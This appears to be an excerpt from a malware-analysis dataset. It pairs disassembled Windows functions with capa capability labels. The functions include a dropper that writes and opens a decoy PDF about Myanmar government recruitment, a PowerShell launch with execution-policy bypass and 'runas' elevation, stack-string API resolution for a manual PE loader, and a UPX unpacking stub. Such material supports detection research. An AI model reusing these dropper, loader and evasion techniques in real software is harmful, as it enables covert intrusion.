joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402390
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Hide graphical window
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
push 0
push str.ConsoleWindowClass
call dword [sym.imp.USER32.dll_FindWindowA]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x4052e8
push 0x66
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
jne 0x4023df
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0x4052ec
push str.C:UserspublicAccountPicturesThe_latest_recruitment_information_for_Myanmar_government_personnel_and_other_job_recruitment_information.pdf
mov ebx, eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x40241f
push esi
push edi
push 1
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x14
push 1
push 0
push 0
push str._C:UserspublicAccountPicturesThe_latest_recruitment_information_for_Myanmar_government_personnel_and_other_job_recruitment_information.pdf_
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x104
push 0x4074e0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ecx
mov ecx, 0x4070d8
call fcn.004025b0
sub esp, 0x10
call fcn.004024f0
add esp, 4
inc eax
push eax
lea eax, [esp + 0x18]
push eax
call fcn.00402480
push eax
call fcn.00402630
lea ecx, [esp + 0x10]
call fcn.004025e0
call fcn.00401bf0
int3

Function at 0x40381c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40385b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40385b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40385b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40385b
cmp dword [ecx + 0x74], 0xe
jbe 0x40385b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10001ef0
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
test byte [0x10003018], 8
mov dword [ebp - 8], esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], edi
jne 0x10001fd0
test esi, esi
je 0x1000200a
xor ecx, ecx
xor ebx, ebx
mov edi, dword [sym.imp.gdi32.dll_GetOutlineTextMetricsA]
mov dword [esp + 4], ebx
mov dword [esp + 8], ecx
mov dword [esp], esi
call edi
sub esp, 0xc
test eax, eax
mov ebx, eax
je 0x10002018
mov dword [esp + 8], eax
xor edx, edx
mov dword [esp + 4], edx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x14], ecx
mov eax, dword [ecx + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
sub esp, 0xc
test eax, eax
je 0x1000201f
mov dword [esp + 4], ebx
mov dword [esp + 8], eax
mov dword [esp], esi
mov dword [ebp - 0x10], eax
call edi
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
sub esp, 0xc
mov dword [esp + 4], eax
mov eax, dword [edx + 0xc8]
add eax, edx
mov dword [esp], eax
call sym.t2embed.dll_TTIsEmbeddingEnabledForFacename
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
sub esp, 8
mov ebx, eax
mov dword [esp + 8], edx
xor eax, eax
mov dword [esp + 4], eax
mov eax, dword [ecx + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
sub esp, 0xc
mov esi, dword [ebp - 8]
mov eax, ebx
mov ebx, dword [ebp - 0xc]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8
mov dword [esp + 0x10], esi
mov eax, dword [ebp + 0xc]
mov edi, str.__p__p__n
mov dword [esp + 0xc], edi
mov dword [esp], 3
mov dword [esp + 0x14], eax
mov eax, str.TTIsEmbeddingEnabled
mov dword [esp + 8], eax
mov eax, 0x10003018
mov dword [esp + 4], eax
call sym._wine_dbg_log.constprop.0
test esi, esi
jne 0x10001f17
mov ebx, 6
jmp 0x10001fbd
mov ebx, 0xd
jmp 0x10001fbd
mov ebx, 7
jmp 0x10001fbd

Function at 0x100020f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
test eax, eax
je 0x10002158
cmp byte [esi + eax - 1], 0xa
mov ebx, eax
je 0x10002150
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x10007084], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp], esi
mov dword [esp + 0xc], eax
mov eax, 1
mov dword [esp + 4], eax
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret
xor eax, eax
jmp 0x1000211a
add esp, 0x10
xor eax, eax
pop ebx
pop esi
pop ebp
ret
Function at 0x100027d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xe0
mov ebx, dword [ebp + 0xc]
mov dword [esp], ebx
call sym.___wine_dbg_get_channel_flags
movzx ecx, byte [ebp + 8]
movzx eax, al
sar eax, cl
test al, 1
je 0x100029b8
mov edx, dword [0x10007084]
mov eax, dword fs:[0x18]
cmp dword [eax + 0x24], edx
je 0x100029a8
test byte [0x10003030], 8
jne 0x10002950
lea edi, [ebp - 0xd4]
mov esi, edi
test byte [0x10003040], 8
jne 0x10002910
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov ecx, str._04x:
mov dword [esp + 4], ecx
mov dword [esp], esi
mov dword [esp + 8], eax
call sym._sprintf
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x1000285a
cmp dword [ebp + 8], 3
jbe 0x100028c8
mov dword [esp], 2
mov ebx, edi
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov esi, dword [ebx]
add ebx, 4
lea ecx, [esi - 0x1010101]
not esi
and ecx, esi
and ecx, 0x80808080
je 0x10002869
mov dword [esp + 0xc], eax
mov esi, ecx
mov eax, 1
mov dword [esp + 4], eax
shr esi, 0x10
test ecx, 0x8080
mov dword [esp], edi
cmove ecx, esi
lea esi, [ebx + 2]
mov dl, cl
cmove ebx, esi
add dl, cl
sbb ebx, 3
sub ebx, edi
mov dword [esp + 8], ebx
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0xe0
pop ebx
pop esi
pop edi
pop ebp
ret
mov edx, dword [ebp + 0x10]
add eax, esi
inc ebx
mov dword [esp + 0x10], ebx
mov dword [esp], eax
mov dword [esp + 0x14], edx
mov edx, dword [ebp + 8]
mov ecx, dword [edx*4 + 0x100052a8]
mov edx, str._s:_s:_s
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov ecx, edi
sub ecx, eax
add ecx, 0xc8
mov dword [esp + 4], ecx
call sym._snprintf.constprop.0
jmp 0x1000285a
mov dword [esp], 0x10003040
call sym.___wine_dbg_get_channel_flags
and al, 8
je 0x1000282f
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov ecx, str._04x:
mov dword [esp], esi
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call sym._sprintf
add esi, eax
jmp 0x1000282f
mov dword [esp], 0x10003030
call sym.___wine_dbg_get_channel_flags
and al, 8
je 0x1000281a
call dword [sym.imp.kernel32.dll_GetTickCount]
mov edx, 0x10624dd3
mov esi, str._3u._03u:
mov dword [esp + 4], esi
lea edi, [ebp - 0xd4]
mov dword [esp], edi
mov ecx, eax
mul edx
shr edx, 6
mov dword [esp + 8], edx
imul eax, edx, 0x3e8
sub ecx, eax
mov dword [esp + 0xc], ecx
call sym._sprintf
lea esi, [edi + eax]
jmp 0x10002822
add esp, 0xe0
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, 0xffffffff
jmp 0x100028b7
Function at 0x530080
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xd9000]
push edi
jmp 0x53009a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5300a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x530090
mov eax, 1
add ebx, ebx
jne 0x5300b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5300c4
jne 0x5300e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5300e3
dec eax
add ebx, ebx
jne 0x5300d0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5300a8
add ebx, ebx
jne 0x5300df
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x530135
xor ecx, ecx
sub eax, 3
jb 0x5300fb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x53016a
sar eax, 1
mov ebp, eax
jmp 0x530106
add ebx, ebx
jne 0x530106
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5300d4
inc ecx
add ebx, ebx
jne 0x530114
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5300d4
add ebx, ebx
jne 0x530121
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x530116
jne 0x530132
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x530116
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x530154
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x530146
jmp 0x530096
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x530154
add edi, ecx
jmp 0x530096
pop esi
mov edi, esi
mov ecx, 0x3ea9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x530172
cmp byte [edi], 0x11
jne 0x530172
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x530177
lea edi, [esi + 0x129000]
mov eax, dword [edi]
or eax, eax
je 0x5301ef
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x187a28]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x187ba4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5301a4
mov ecx, edi
jns 0x5301d3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x187ba8]
or eax, eax
je 0x5301e9
mov dword [ebx], eax
add ebx, 4
jmp 0x5301c1
call dword [esi + 0x187bb8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x530220
cmp al, 0xef
ja 0x530213
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x5301f5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x530202
mov ebp, dword [esi + 0x187bac]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x530254
sub esp, 0xffffff80
jmp 0x42800a
Function at 0x401000
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
nop
mov eax, 0
mov dword [ebp - 4], eax
mov eax, 0
mov byte [ebp - 0xa], al
mov eax, 0
mov byte [ebp - 9], al
mov eax, 0
mov byte [ebp - 8], al
mov eax, 0
mov byte [ebp - 7], al
mov eax, 0
mov byte [ebp - 6], al
mov eax, 5
mov byte [ebp - 5], al
lea eax, [ebp - 0x10]
push eax
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, 0x220
push eax
mov eax, 0x20
push eax
mov eax, 2
push eax
lea eax, [ebp - 0xa]
push eax
call sub.advapi32.dll_AllocateAndInitializeSid
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, 0
je 0x4010b0
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, 0
push eax
call sub.advapi32.dll_CheckTokenMembership
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_FreeSid
mov eax, dword [ebp - 4]
leave
ret

Function at 0x401928
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
nop
lea eax, [ebp - 0x105]
push eax
mov eax, 0x104
push eax
call sub.kernel32.dll_GetTempPathA
cmp eax, 0
jne 0x401952
jmp 0x401aff
lea eax, [ebp - 0x20a]
push eax
mov eax, 0
push eax
mov eax, 0x4028b2
push eax
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_GetTempFileNameA
cmp eax, 0
jne 0x40197f
jmp 0x401aff
lea eax, [ebp - 0x20a]
push eax
call sub.msvcrt.dll_remove
add esp, 4
lea eax, [ebp - 0x20a]
push eax
call sub.msvcrt.dll_strlen
add esp, 4
sub eax, 3
lea ecx, [ebp - 0x20a]
add ecx, eax
mov eax, 0
mov byte [ecx], al
lea eax, [ebp - 0x20a]
push eax
mov eax, str._sps1
push eax
lea eax, [ebp - 0x105]
push eax
call sub.msvcrt.dll_sprintf
add esp, 0xc
lea eax, [ebp - 0x105]
push eax
call fcn.00401700
movzx eax, al
add esp, 4
cmp eax, 0
je 0x4019eb
jmp 0x401aff
mov eax, 0x3c
mov dword [ebp - 0x248], eax
mov eax, 0
mov dword [ebp - 0x230], eax
mov eax, 0
mov dword [ebp - 0x240], eax
mov eax, 1
mov dword [ebp - 0x22c], eax
mov eax, 0x40
mov dword [ebp - 0x244], eax
mov eax, 0x4028bc
mov dword [ebp - 0x23c], eax
lea eax, [ebp - 0x105]
push eax
mov eax, str.__ExecutionPolicy_Bypass__command___s_
push eax
lea eax, [ebp - 0x20a]
push eax
call sub.msvcrt.dll_sprintf
add esp, 0xc
mov eax, str.powershell
mov dword [ebp - 0x238], eax
lea eax, [ebp - 0x20a]
mov dword [ebp - 0x234], eax
mov eax, 0
mov dword [ebp - 0x24c], eax
lea eax, [ebp - 0x24c]
push eax
call sub.kernel32.dll_Wow64DisableWow64FsRedirection
cmp eax, 0
je 0x401af0
lea eax, [ebp - 0x248]
push eax
call sub.shell32.dll_ShellExecuteExA
cmp eax, 0
je 0x401ac7
mov eax, dword [ebp - 0x228]
cmp eax, 0x20
jbe 0x401ac2
mov eax, 0xffffffff
push eax
mov eax, dword [ebp - 0x210]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov eax, dword [ebp - 0x210]
push eax
call sub.kernel32.dll_CloseHandle
jmp 0x401ae4
mov eax, 0x1010
push eax
mov eax, 0x402926
push eax
mov eax, 0x4028f4
push eax
mov eax, 0
push eax
call sub.user32.dll_MessageBoxA
mov eax, dword [ebp - 0x24c]
push eax
call sub.kernel32.dll_Wow64RevertWow64FsRedirection
lea eax, [ebp - 0x105]
push eax
call sub.msvcrt.dll_remove
add esp, 4
leave
ret
Function at 0x401b01
Capabilities:
Check mutex on windows
Check os version
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
nop
mov eax, str.uqysRGxrFmwD
push eax
mov eax, 1
push eax
mov eax, 0
push eax
call sub.kernel32.dll_CreateMutexA
mov dword [0x432ff8], eax
mov eax, dword [0x432ff8]
cmp eax, 0
je 0x401b74
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x401b6f
mov eax, 0x1010
push eax
mov eax, 0x40295f
push eax
mov eax, 0x40292e
push eax
mov eax, 0
push eax
call sub.user32.dll_MessageBoxA
mov eax, 0
jmp 0x401cea
jmp 0x401b9b
mov eax, 0x1010
push eax
mov eax, 0x402981
push eax
mov eax, 0x402967
push eax
mov eax, 0
push eax
call sub.user32.dll_MessageBoxA
mov eax, 0
jmp 0x401cea
mov eax, 0x11c
mov dword [ebp - 0x11c], eax
lea eax, [ebp - 0x11c]
push eax
call sub.ntdll.dll_RtlGetVersion
add esp, 4
mov eax, dword [ebp - 0x118]
cmp eax, 0xa
jae 0x401c06
mov eax, 0x1010
push eax
mov eax, 0x4029b6
push eax
mov eax, 0x402989
push eax
mov eax, 0
push eax
call sub.user32.dll_MessageBoxA
mov eax, dword [0x432ff8]
cmp eax, 0
je 0x401bfc
mov eax, dword [0x432ff8]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, 0
jmp 0x401cea
mov eax, dword [ebp + 8]
cmp eax, 2
jle 0x401c37
mov eax, dword [0x432ff8]
cmp eax, 0
je 0x401c2d
mov eax, dword [0x432ff8]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, 0
jmp 0x401cea
call fcn.00401000
cmp eax, 0
je 0x401c7b
mov eax, dword [ebp + 8]
cmp eax, 2
jne 0x401c7b
mov eax, dword [ebp + 0xc]
add eax, 4
mov ecx, 0x4029be
push ecx
mov ecx, dword [eax]
push ecx
call sub.msvcrt.dll_strcmp
add esp, 8
cmp eax, 0
jne 0x401c76
call fcn.00401928
jmp 0x401cca
mov eax, 0x1134
push eax
mov eax, 0x4029ec
push eax
mov eax, 0x4029c6
push eax
mov eax, 0
push eax
call sub.user32.dll_MessageBoxA
cmp eax, 6
jne 0x401cca
mov eax, dword [ebp + 0xc]
mov ecx, 1
push ecx
mov ecx, 0
push ecx
mov ecx, str.proceed
push ecx
mov ecx, dword [eax]
push ecx
mov eax, str.runas
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, dword [0x432ff8]
cmp eax, 0
je 0x401ce5
mov eax, dword [0x432ff8]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, 0
leave
ret
Function at 0x40716d
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x407221
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.004070fd
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x4071fa
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40722d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x407248
test ebp, ebp
je 0x407248
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x407250
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x407290
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x4072ec
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x4072e7
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4072d2
test dl, dl
je 0x4072ce
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4072d2
add ecx, 2
add eax, 2
test dl, dl
jne 0x4072b2
xor eax, eax
jmp 0x4072d7
sbb eax, eax
or eax, 1
test eax, eax
je 0x4072f6
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x40729f
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x40730d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.0040716d
test eax, eax
jne 0x407325
pop edi
pop ebx
add esp, 0x10
ret
push esi
lea edx, [esp + 0xc]
mov ecx, eax
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov byte [esp + 0x18], 0
call fcn.0040722d
mov esi, eax
test esi, esi
jne 0x40735b
pop esi
pop edi
pop ebx
add esp, 0x10
ret
push 0x40
push 0x3000
push edi
push ebx
call esi
test eax, eax
jne 0x407375
push 0x40
push 0x3000
push edi
push eax
call esi
pop esi
pop edi
pop ebx
add esp, 0x10
ret
Function at 0x40746d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x44
push esi
push edi
mov dword [esp + 0x1c], edx
mov edi, ecx
call fcn.0040716d
mov esi, eax
test esi, esi
jne 0x40748b
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x64616f4c
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x41797261
mov byte [esp + 0x44], 0
call fcn.0040722d
mov dword [esp + 0x18], eax
test eax, eax
je 0x407483
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x65657246
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x797261
call fcn.0040722d
mov dword [esp + 0x34], eax
test eax, eax
je 0x407483
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x50746547
mov dword [esp + 0x3c], 0x41636f72
mov dword [esp + 0x40], 0x65726464
mov word [esp + 0x44], 0x7373
mov byte [esp + 0x46], 0
call fcn.0040722d
mov dword [esp + 0x28], eax
test eax, eax
je 0x407483
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x4d746547
mov dword [esp + 0x3c], 0x6c75646f
mov dword [esp + 0x40], 0x6e614865
mov dword [esp + 0x44], 0x41656c64
mov byte [esp + 0x48], 0
call fcn.0040722d
mov dword [esp + 0x30], eax
test eax, eax
je 0x407483
mov eax, dword [edi + 0x3c]
push ebx
cmp dword [eax + edi + 0x84], 0
push ebp
je 0x407652
mov ecx, dword [eax + edi + 0x80]
add ecx, edi
xor esi, esi
lea ebx, [ecx + 0xc]
mov dword [esp + 0x34], ecx
mov dword [esp + 0x10], esi
cmp dword [ebx], esi
je 0x407652
mov eax, ebx
mov ebp, ecx
mov eax, dword [eax]
add eax, edi
push eax
mov dword [esp + 0x2c], eax
call dword [esp + 0x24]
mov dword [esp + 0x2c], eax
mov eax, dword [ebp]
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x4075b5
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x1c], eax
add eax, edi
mov dword [esp + 0x14], 0
cmp dword [eax], 0
je 0x407636
mov dword [esp + 0x18], 0
nop
mov eax, dword [eax]
test eax, eax
jns 0x4075d8
movzx esi, ax
jmp 0x4075dd
lea esi, [edi + 2]
add esi, eax
mov ecx, dword [esp + 0x24]
test ecx, ecx
je 0x4075fc
push dword [esp + 0x58]
and eax, 0x80000000
push eax
push esi
push dword [esp + 0x34]
call ecx
mov ecx, eax
test ecx, ecx
jne 0x40760b
push esi
push dword [esp + 0x30]
call dword [esp + 0x38]
mov ecx, eax
test ecx, ecx
je 0x40765f
mov eax, dword [ebp + 0x10]
add eax, dword [esp + 0x18]
mov dword [eax + edi], ecx
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x1c]
inc ecx
mov dword [esp + 0x14], ecx
shl ecx, 2
add eax, ecx
add eax, edi
mov dword [esp + 0x18], ecx
cmp dword [eax], 0
jne 0x4075cd
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x34]
inc esi
mov dword [esp + 0x10], esi
lea eax, [esi + esi*4]
lea ebp, [ecx + eax*4]
cmp dword [ebp + 0xc], 0
lea eax, [ebp + 0xc]
jne 0x407592
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x44
ret
cmp dword [ebx], 0
je 0x407688
mov esi, dword [esp + 0x10]
xor ebp, ebp
lea ecx, [ecx]
cmp ebp, esi
ja 0x407688
mov eax, dword [ebx]
add eax, edi
push eax
call dword [esp + 0x3c]
push eax
call dword [esp + 0x40]
add ebx, 0x14
inc ebp
cmp dword [ebx], 0
jne 0x40766d
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret
Function at 0x40769d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
push esi
push edi
mov edi, ecx
call fcn.0040716d
mov esi, eax
test esi, esi
je 0x407759
push ebp
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x65657246
mov dword [esp + 0x14], 0x7262694c
mov dword [esp + 0x18], 0x797261
call fcn.0040722d
mov ebp, eax
test ebp, ebp
je 0x407758
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x4d746547
mov dword [esp + 0x14], 0x6c75646f
mov dword [esp + 0x18], 0x6e614865
mov dword [esp + 0x1c], 0x41656c64
mov byte [esp + 0x20], 0
call fcn.0040722d
mov edx, eax
mov dword [esp + 0xc], edx
test edx, edx
je 0x407758
mov ecx, dword [edi + 0x3c]
cmp dword [ecx + edi + 0x84], 0
je 0x407758
push ebx
mov ebx, dword [ecx + edi + 0x80]
add ebx, edi
xor esi, esi
mov eax, dword [ebx + 0xc]
test eax, eax
je 0x407757
lea ebx, [ebx]
add eax, edi
push eax
call edx
push eax
call ebp
mov edx, dword [esp + 0x10]
lea esi, [esi + 1]
lea eax, [esi + esi*4]
mov eax, dword [ebx + eax*4 + 0xc]
test eax, eax
jne 0x40773d
pop ebx
pop ebp
pop edi
pop esi
add esp, 0x18
ret

Function at 0x407a51
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x407b05
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.004079e1
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
